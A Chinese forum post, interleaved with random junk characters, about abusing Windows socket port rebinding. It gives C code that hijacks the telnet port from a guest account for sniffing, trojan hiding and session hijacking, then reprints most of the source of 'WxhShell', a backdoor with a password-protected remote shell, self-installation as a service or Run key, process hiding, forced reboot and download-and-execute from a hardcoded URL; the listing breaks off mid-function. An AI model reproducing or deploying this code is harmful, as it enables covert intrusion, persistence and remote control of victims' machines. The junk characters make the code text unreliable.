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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .&z/p3 1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T >pz/7gb  
8]SJ=c"}Xf  
  saddr.sin_family = AF_INET; a#i85su  
^pI&f{q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i 4sd29v  
D8 S?xK7[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qcN{p7=0  
] lBe   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~* R:UTBtw  
_:R Q9x'  
  这意味着什么?意味着可以进行如下的攻击: gK&MdF*  
?(C(9vO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U,G!u=+  
Drn{ucIs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Kmk}Yz  
Z`_`^ \"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Fe:M'.  
Cx N]fo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2/*F}w/  
#9R[%R7Nz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !@6P>HzY$  
o0yyP,?yh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v~l_6V}  
* ':LBc=%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O~p@87aq  
}"$2F0  
  #include A~2U9f+\  
  #include ,]:vk|a#;  
  #include ]'L#'"@  
  #include    .,-,@ZK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .2K4<UOAbm  
  int main() a'NxsByG]s  
  { \IL;}D{  
  WORD wVersionRequested; B #[UR Z9S  
  DWORD ret; ~RdD6V  
  WSADATA wsaData; '7'*+sgi$  
  BOOL val; Mz?xvP?z  
  SOCKADDR_IN saddr; fG *1A\t]  
  SOCKADDR_IN scaddr; \vH /bL  
  int err; G<F+/Oi&DX  
  SOCKET s; >M}\_c=  
  SOCKET sc; Gky e  
  int caddsize; qVHXZdGL  
  HANDLE mt; )+Nm @+B  
  DWORD tid;   ?MW *`U  
  wVersionRequested = MAKEWORD( 2, 2 ); 9+z5 $  
  err = WSAStartup( wVersionRequested, &wsaData ); asT/hsSNS  
  if ( err != 0 ) { {2A| F{7>  
  printf("error!WSAStartup failed!\n"); Vxr_2Kra  
  return -1; \(4"kY_=  
  } Dw%V.J/&o  
  saddr.sin_family = AF_INET; ]"ZL<?3g  
   .o27uB.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '}nH\?(  
S.: m$s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U@ ;W^Mt  
  saddr.sin_port = htons(23); eT(/D/jan  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r Jo8|  
  { 6%j v|\>  
  printf("error!socket failed!\n"); JYAtQTOR  
  return -1; {Df97n%h;  
  }  #  
  val = TRUE; O^Y}fo'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =up!lg^M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \d"uR@$3mG  
  { Y)Os]<N1  
  printf("error!setsockopt failed!\n"); h20<X;  
  return -1; }\iH~T6  
  } I.4o9Z[?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8!R +wy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sp&s 5aw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A`5/u"]*D  
 (0wQ [(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "e3T;M+  
  { i 4}4U  
  ret=GetLastError(); ?Aq \Gr  
  printf("error!bind failed!\n"); Hm>7|!  
  return -1; &J]|pf3m  
  } 1WTDF  
  listen(s,2); eX{:&Do  
  while(1) B4&K2;fg_  
  { \zdY$3z  
  caddsize = sizeof(scaddr); _`oP*g =  
  //接受连接请求 rXIFCt8J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k=nN#SMn  
  if(sc!=INVALID_SOCKET) *y}<7R  
  { y ~PW_,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3d1$w  
  if(mt==NULL) =do*(  
  { HsF8$C$z  
  printf("Thread Creat Failed!\n"); lc:dKGF6  
  break; Y=NXfTc  
  } ;Dw6pmZ  
  } l[,RA?i {  
  CloseHandle(mt); `<?{%ja  
  } (TX\vI&  
  closesocket(s); o4[  
  WSACleanup(); +zl2| '  
  return 0; `wMHjcUP  
  }   MrW*6jY@  
  DWORD WINAPI ClientThread(LPVOID lpParam) ytmFe!  
  { !1X^lFf;~  
  SOCKET ss = (SOCKET)lpParam; 5PcN$r"P  
  SOCKET sc; KTmduf7DL  
  unsigned char buf[4096]; fwN'5ep  
  SOCKADDR_IN saddr; XEUy,>mR  
  long num; S-5|t]LV  
  DWORD val;  9Kpzj43  
  DWORD ret; F0D7+-9[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tc|`cB3f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?<*mIf:?  
  saddr.sin_family = AF_INET; fQ[& ^S$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [|vE*&:uO  
  saddr.sin_port = htons(23); @) \{u$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1xBg^  
  { MF41q%9p  
  printf("error!socket failed!\n"); z#j)uD  
  return -1; K3;lst>4  
  } rUz-\H(-  
  val = 100; doX8Tq   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G $F3dx.I  
  { San=E@3}v!  
  ret = GetLastError(); #A:+|{H"  
  return -1; ]N& Y25oT5  
  } ^D}]7y|fm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e@`"V,i  
  { cn3F3@_"\  
  ret = GetLastError(); =*[98%b   
  return -1; .{=|N8*py8  
  } en5sqKqh+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q!qOy/}D  
  { |e%o  
  printf("error!socket connect failed!\n"); l>kREfHq!{  
  closesocket(sc); >l>;"R9N  
  closesocket(ss); =_"[ &^  
  return -1; 4t]YHLBS  
  } <mk'n6B  
  while(1) VEc^Ap1?'  
  { Sc?UjEs  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O:I"<w9_1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xMpQPTte  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d%EUr9~?  
  num = recv(ss,buf,4096,0); {,9^k'9  
  if(num>0) $vR#<a,7>  
  send(sc,buf,num,0); y-1!@|l0:6  
  else if(num==0) iPuX  
  break; ]zt77'J  
  num = recv(sc,buf,4096,0); jG E=7  
  if(num>0) Ofm?`SE*|  
  send(ss,buf,num,0); IQm[ ,Fh  
  else if(num==0) >QcIrq%=  
  break; Vzmw%f)_+  
  } 7<Yf  
  closesocket(ss); =.Hq]l6+  
  closesocket(sc); Ld9YbL:  
  return 0 ; $*k9e^{S  
  } !Z}d^$  
CI}zu;4|  
:g+5cs  
========================================================== sN_c4"\q  
bzC| aUGM  
下边附上一个代码,,WXhSHELL w y\0o  
J?1U'/Wx2  
========================================================== 5.TeH@(  
Ocp`6Fj  
#include "stdafx.h" }}Kj b  
l`wF;W!  
#include <stdio.h> RP9jZRDbZ  
#include <string.h> 5Xr<~xr  
#include <windows.h> ^DQp9$la  
#include <winsock2.h> "dItv#<:}  
#include <winsvc.h> ^{m&2l&87  
#include <urlmon.h> :,f~cdq=  
;dR4a@  
#pragma comment (lib, "Ws2_32.lib") DDwj[' R  
#pragma comment (lib, "urlmon.lib")  A|90Ps  
:p|wo"=@Ge  
#define MAX_USER   100 // 最大客户端连接数 y+"6Y14  
#define BUF_SOCK   200 // sock buffer *i)3q+%.  
#define KEY_BUFF   255 // 输入 buffer Af`qe+0E  
6`JY:~V"  
#define REBOOT     0   // 重启 Ob~7r*q  
#define SHUTDOWN   1   // 关机 -yJ%G1R  
"N*bV  
#define DEF_PORT   5000 // 监听端口 dU"ca|u  
iu$:_W_  
#define REG_LEN     16   // 注册表键长度 |ler\"Eu  
#define SVC_LEN     80   // NT服务名长度 !Y95e'f.x  
Ig{ 3>vB  
// 从dll定义API "rJJ~[Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x&4gy%b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O'L9 s>B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $[*QsU%%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CwL8-z0 Jn  
ulAOQGZ  
// wxhshell配置信息 dJ|/.J$d  
struct WSCFG { PCkQ hR  
  int ws_port;         // 监听端口 .G~Y`0  
  char ws_passstr[REG_LEN]; // 口令 _s%;GWj  
  int ws_autoins;       // 安装标记, 1=yes 0=no [WXa]d5Y  
  char ws_regname[REG_LEN]; // 注册表键名 yOdh?:Imv  
  char ws_svcname[REG_LEN]; // 服务名 uA]!y{"}J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e,cSB!7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4Y/kf%]]A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [/+}E X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no = 9K5f# ;e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ` v"p""_H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5IJm_oy  
4b/>ZHFOF;  
}; m.g2>r`NU  
[(kC/W)!  
// default Wxhshell configuration QrSF1y'd  
struct WSCFG wscfg={DEF_PORT, , |lDR@  
    "xuhuanlingzhe", $E,,::oJ  
    1, S!@h\3d8{  
    "Wxhshell", g7-*WN<  
    "Wxhshell", W)z@>4`Bb  
            "WxhShell Service", 9[@K4&  
    "Wrsky Windows CmdShell Service", ri?k}XnhX  
    "Please Input Your Password: ", H~ `JAplr  
  1, Q8GI;`Rb  
  "http://www.wrsky.com/wxhshell.exe", gbvMS*KQz  
  "Wxhshell.exe" rFLm!J]  
    }; ,VYUQE>\  
^Q9;ro*;ck  
// 消息定义模块 ]K!NLvz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +!JTEKHKH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B ?%g@d-;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O}Mu_edM  
char *msg_ws_ext="\n\rExit."; 5z=.Z\M`8  
char *msg_ws_end="\n\rQuit."; :+? w>  
char *msg_ws_boot="\n\rReboot..."; NQu .%=  
char *msg_ws_poff="\n\rShutdown..."; (aUdPo8H^  
char *msg_ws_down="\n\rSave to "; d [f,Nu'  
D~T;z pS  
char *msg_ws_err="\n\rErr!"; l6~wm1vO  
char *msg_ws_ok="\n\rOK!"; _rakTo8BY  
C>=[fAr mO  
char ExeFile[MAX_PATH]; ;Im%L=q9GL  
int nUser = 0; E},^,65  
HANDLE handles[MAX_USER]; $9@jV<Q1  
int OsIsNt; ]; Z[V  
<oKoz0!  
SERVICE_STATUS       serviceStatus; 8ZN"-]*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oQL$X3S  
s.IYPH|pn  
// 函数声明 G4jyi&]  
int Install(void); ?qt.+2:  
int Uninstall(void); {^V9?^?d (  
int DownloadFile(char *sURL, SOCKET wsh); VNT*@^O_=  
int Boot(int flag); vAt ]N)R  
void HideProc(void); Pu0 <Clh  
int GetOsVer(void); ~zO>Q4-k  
int Wxhshell(SOCKET wsl); sBq6,Iu  
void TalkWithClient(void *cs); K*sav?c  
int CmdShell(SOCKET sock); ZFFKv  
int StartFromService(void); rUxjm\  
int StartWxhshell(LPSTR lpCmdLine); #O,;3S  
4m"6$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e anR$I;Yj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <_>xkQbn2  
VOkSR6  
// 数据结构和表定义 Gv\:Agi  
SERVICE_TABLE_ENTRY DispatchTable[] = ;^f ;<  
{ CBKLct>  
{wscfg.ws_svcname, NTServiceMain}, );!IGcgF  
{NULL, NULL} < .knM  
}; AV]7l}-  
4T??8J-J  
// 自我安装 LM2S%._cj;  
int Install(void) `P *wz<  
{ N/x]-$fl  
  char svExeFile[MAX_PATH]; pybE0]   
  HKEY key; iyJx~:  
  strcpy(svExeFile,ExeFile); 6 qK`X  
^hRx{A  
// 如果是win9x系统,修改注册表设为自启动 ojG;[@V  
if(!OsIsNt) { K'f`}y9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MJug no  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7wz9x8\t  
  RegCloseKey(key); S3N+ 9*i K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A81'ca/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wmDO^}>ZP  
  RegCloseKey(key); 59#o+qo4   
  return 0; _uq[D`=  
    } }MIg RQ9  
  } X0 ^~`g  
} EN/r{Cm$B  
else { mhW*rH*m  
i TLX=.M  
// 如果是NT以上系统,安装为系统服务 ncdj/C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #t<  
if (schSCManager!=0) vJ9IDc|[  
{ ?^gq  
  SC_HANDLE schService = CreateService >!3r7LgK  
  ( qtlcY8!  
  schSCManager, L]Dq1q8`  
  wscfg.ws_svcname, A/TCJ#>l  
  wscfg.ws_svcdisp, CNl @8&R  
  SERVICE_ALL_ACCESS, wBI>H 7A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A/sM ?!p>_  
  SERVICE_AUTO_START, &HB!6T/  
  SERVICE_ERROR_NORMAL, tRVz4fk[G  
  svExeFile, lnQY_~s  
  NULL, IBYSI0  
  NULL, a98J_^n  
  NULL, TOw;P:-  
  NULL, QX$3"AZ~  
  NULL ;:1o|>mX  
  ); c|s7 cG$+-  
  if (schService!=0) w`_"R6  
  { }!QVcu"+t/  
  CloseServiceHandle(schService); ?p& ( Af)  
  CloseServiceHandle(schSCManager); :kKdda<g#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @ MKf$O4K  
  strcat(svExeFile,wscfg.ws_svcname); a)QSq<2*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8 -YC#&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !rTkH4!_  
  RegCloseKey(key); })umg8s  
  return 0; ]{ir^[A6  
    } x(7Q5Uk\  
  } td5! S]  
  CloseServiceHandle(schSCManager); Q" G;L  
} +} x\|O  
} j1O_Az|3  
.~,=?aq^  
return 1; -T2w?|  
} O"~CZh,:r}  
KnC:hus  
// 自我卸载 ZVz`g]  
int Uninstall(void) Eg(.L,dj  
{ 6PT"9vR`)  
  HKEY key; I~Q G  
<.=-9O6  
if(!OsIsNt) {   bKt4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I9L7,~s  
  RegDeleteValue(key,wscfg.ws_regname); ~oz??SX  
  RegCloseKey(key); 3c+ps;nh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ya;y@44  
  RegDeleteValue(key,wscfg.ws_regname); IG90mpLX  
  RegCloseKey(key); oVQbc \P3  
  return 0; R!rj:f!>  
  } ~EM(*k._  
} rUg|5EN^)d  
} a FL; E  
else { b6! 7 j  
^{a_:r"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zs.@=Z"  
if (schSCManager!=0) d}<-G.&_  
{ (bAw>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d' l|oeS  
  if (schService!=0) CU@}{}Yl  
  { dWP<,Z>  
  if(DeleteService(schService)!=0) { R$bDj >8  
  CloseServiceHandle(schService); SBg|V  
  CloseServiceHandle(schSCManager); 20/P:;  
  return 0; <>H^:iqn  
  } U+,RP$r@  
  CloseServiceHandle(schService); ,olP}  
  } yof8LWXx  
  CloseServiceHandle(schSCManager); Nxr\Yey  
} =wlPm5  
} JPM~tp?;<  
:!wl/X ~  
return 1; *tfD^nctO  
} vZ1?4hG  
X#tCIyK,nV  
// 从指定url下载文件 %Ix2NdC  
int DownloadFile(char *sURL, SOCKET wsh) p8j*m~4B  
{ [l}H%S   
  HRESULT hr; 0 YAH[YF  
char seps[]= "/"; dF><XZph  
char *token; aKintb}n  
char *file; ! ~tf0aY  
char myURL[MAX_PATH]; Q5HSik4  
char myFILE[MAX_PATH]; \_x~lRqJJ  
Vwb_$Yi+]  
strcpy(myURL,sURL); FuC \qF  
  token=strtok(myURL,seps); xdh%mG:?  
  while(token!=NULL) \ 027>~u {  
  { Py#TXzEcC  
    file=token; 9Dp0Pi?29  
  token=strtok(NULL,seps); ?JBA`,-  
  } M(vX.kF  
4 %V9  
GetCurrentDirectory(MAX_PATH,myFILE); PMT}fg  
strcat(myFILE, "\\"); 9"zp>VR  
strcat(myFILE, file); $b)t`r+  
  send(wsh,myFILE,strlen(myFILE),0); iK!FVKi}  
send(wsh,"...",3,0); VaA.J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3vdFO: j  
  if(hr==S_OK) QD-`jV3  
return 0; =1y~Qlu  
else L tUvFe  
return 1; W#2} EX  
"R"{xOQl  
} @w;$M]o1  
Oh%p1$H  
// 系统电源模块 b! r%4Ah  
int Boot(int flag) qkqtPbQ 7  
{ c Qe3  
  HANDLE hToken; `g <0FQA  
  TOKEN_PRIVILEGES tkp; frc9   
bd H+M?k  
  if(OsIsNt) { z[@i=avPG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S gssNv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )Y6\"-M[  
    tkp.PrivilegeCount = 1; {yDQncq'^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 33&l.[A"!}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lOM8%{.'_x  
if(flag==REBOOT) { eAStpG"*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .osG"cS  
  return 0; qWf[X'  
} o]]sm}3N  
else { tu(^D23  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q[ 9N4nj$<  
  return 0; ?Qx4Z3n  
} w O Ou/Y  
  } P-<1vfThH  
  else {  n (|rs  
if(flag==REBOOT) { Ow(aRWUZD_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;NE4G;px4<  
  return 0; 5A<}*T  
} ydA@@C\&  
else { p{:y?0pGN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CM%;/[WBxy  
  return 0; B&_Z&H=  
} "$D'gS oYe  
} 'Lw8l `7  
c,O;B_}M]  
return 1; 9tb-;|  
} bZr,jLEf  
\hn$-'=4  
// win9x进程隐藏模块 78r0K 5=  
void HideProc(void) Xvoz4'Gme  
{ 1Wiz0X/  
wS+!>Q_]w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b- bvkPN  
  if ( hKernel != NULL ) j dz IU  
  { X8ZO } X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sT "q]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i+pQ 7wx  
    FreeLibrary(hKernel); c&,q`_t  
  } oz]&=>$1I  
\ \Tz'>[\  
return;  D[}^G5  
} t&NpC;>v  
|,~ )/o_R  
// 获取操作系统版本 z' Z[mrLq  
int GetOsVer(void) :KR KD  
{ ?#fm-5WIi  
  OSVERSIONINFO winfo; I>##iiKN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7 \[fjCg\w  
  GetVersionEx(&winfo); 3o0ZS^#eB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xRdx` YYu  
  return 1; {jH'W)nR  
  else M<*WC{  
  return 0; OZd (~E  
} yimK"4!j5A  
e /1x/v'  
// 客户端句柄模块 =FI[/"476  
int Wxhshell(SOCKET wsl) bC~I}^i\  
{ 5pC}ZgEa<  
  SOCKET wsh; %K.rrn M  
  struct sockaddr_in client; N3*1,/,l .  
  DWORD myID; F_m' 9KX4E  
TI t\  
  while(nUser<MAX_USER) HTz`$9  
{ m(d|TwG{  
  int nSize=sizeof(client); t K/.9qP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L &hw- .Q  
  if(wsh==INVALID_SOCKET) return 1; /AyxkXq  
Y/"t!   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O|)b$H_  
if(handles[nUser]==0) z1 MT@G)S$  
  closesocket(wsh); 6/?onEL9_  
else eB=&(ZT  
  nUser++; Gi#-TP\  
  } %vm_v.Q4)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X,#~[%h$-=  
(vX< B h  
  return 0; vC `SD]  
} LkP :l  
Xx%<rsA>F  
// 关闭 socket )J0h\ky  
void CloseIt(SOCKET wsh) jWV}U a  
{ yP>025o't  
closesocket(wsh); T:Ee6I 3l  
nUser--; H0sTL#/L\  
ExitThread(0); E`V\/`5D  
} ;,e16^\' &  
B /w&Lo  
// 客户端请求句柄 F?05+  
void TalkWithClient(void *cs) #p55/54ZI  
{ iU37LODa2T  
M8<Vd1-5  
  SOCKET wsh=(SOCKET)cs; J=gFiBw  
  char pwd[SVC_LEN]; >C!^%e;m  
  char cmd[KEY_BUFF]; @SpP"/)JY  
char chr[1]; ZTz07Jt  
int i,j; |FM*1Q[1  
<Z<meB[g  
  while (nUser < MAX_USER) { *8m['$oyV  
qk3|fW/-  
if(wscfg.ws_passstr) { DcdEt=\)h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hh*?[-&r~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xE]y*\  
  //ZeroMemory(pwd,KEY_BUFF); yz=X{p1  
      i=0; i%i />;DF  
  while(i<SVC_LEN) { 1JfZstT  
0Ci/-3HV!  
  // 设置超时 {>9ED.t  
  fd_set FdRead; |3yG  
  struct timeval TimeOut; #0Y_!'j  
  FD_ZERO(&FdRead); %Nv w`H  
  FD_SET(wsh,&FdRead); qIQRl1Tw;V  
  TimeOut.tv_sec=8; h~](9e s  
  TimeOut.tv_usec=0; Rz|@BxB>n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R3l{.{3p2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h9CTcWGt  
^V#,iO9.-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uC#@qpzy  
  pwd=chr[0]; :v;U7  
  if(chr[0]==0xd || chr[0]==0xa) { d[J_iD{ &  
  pwd=0; _p+E(i 9  
  break; 5Gy#$'kdf  
  } "t(_r@qU/  
  i++; f$:SacF  
    } X~c?C-fV  
%Q0R] Hg  
  // 如果是非法用户,关闭 socket i!e8-gVMP&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vr'cR2  
} ,xVAJ6_#  
(IVhj^dQm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oD9n5/ozo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _"L6mcI6  
Z%:>nDZV  
while(1) { S6JXi>n  
&0q pgl|  
  ZeroMemory(cmd,KEY_BUFF); )Hmf=eoc  
vno/V#e$WX  
      // 自动支持客户端 telnet标准    e]1Zey  
  j=0; ^N|8 B?Vg  
  while(j<KEY_BUFF) { v[^8_y}A`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~"#HHaBO#  
  cmd[j]=chr[0]; JHvev,#4  
  if(chr[0]==0xa || chr[0]==0xd) { kVs YB  
  cmd[j]=0; OM&GypP6&  
  break; 4d4+%5GE  
  } ] 2qKc  
  j++; M?%x= q\<  
    } 9g5h~ Ma  
= a60Xv  
  // 下载文件 -[ gT}{k!  
  if(strstr(cmd,"http://")) { BDWbWA 6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'u;O2$  
  if(DownloadFile(cmd,wsh)) _3yG<'f[Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +jwHYfAK)  
  else `w\P- q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9yC22C:  
  } tOLcnWt   
  else { ~vt9?(h  
62qjU<Z  
    switch(cmd[0]) { )j>U4a  
  {#k[-\|;  
  // 帮助 CL4N/[UM  
  case '?': { 8Ejb/W_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *1<kYrB  
    break; !LwHKCj  
  } ~Q]5g7k=&  
  // 安装 ,Q7;(&x~  
  case 'i': { ?V^7`3F  
    if(Install()) qz>R"pj0g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GgG #]a!_f  
    else pcwYgq#5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ud$-A  
    break; E6-*2U)k+  
    } M lR~`B}m  
  // 卸载 /z*Z+OT2  
  case 'r': { C\GP}:[T3  
    if(Uninstall()) _<F)G,=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wqF?o  
    else V)>?[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X&?s:A  
    break; n%7?G=_kj  
    } u6ULk<<\  
  // 显示 wxhshell 所在路径 ()?83Xj[c  
  case 'p': { LsuOmB|^  
    char svExeFile[MAX_PATH]; (jDz[b#OPz  
    strcpy(svExeFile,"\n\r"); fyb;*hgu  
      strcat(svExeFile,ExeFile); `IUn{I  
        send(wsh,svExeFile,strlen(svExeFile),0); UE.kR+1  
    break; KaNs>[a8  
    } ^x: lB>  
  // 重启 C'#)mo_@t  
  case 'b': { Ct w<-'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UgC65O2  
    if(Boot(REBOOT)) lFyDH{!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w&aZ 97{  
    else { 8'8`xu$  
    closesocket(wsh); bHe' U>  
    ExitThread(0); nm,LKS7  
    } F^NK"<tW  
    break; Wjw ,LwB  
    } jRS{7rx%MH  
  // 关机 =\WF +r]V  
  case 'd': { Ec@n<KK#  
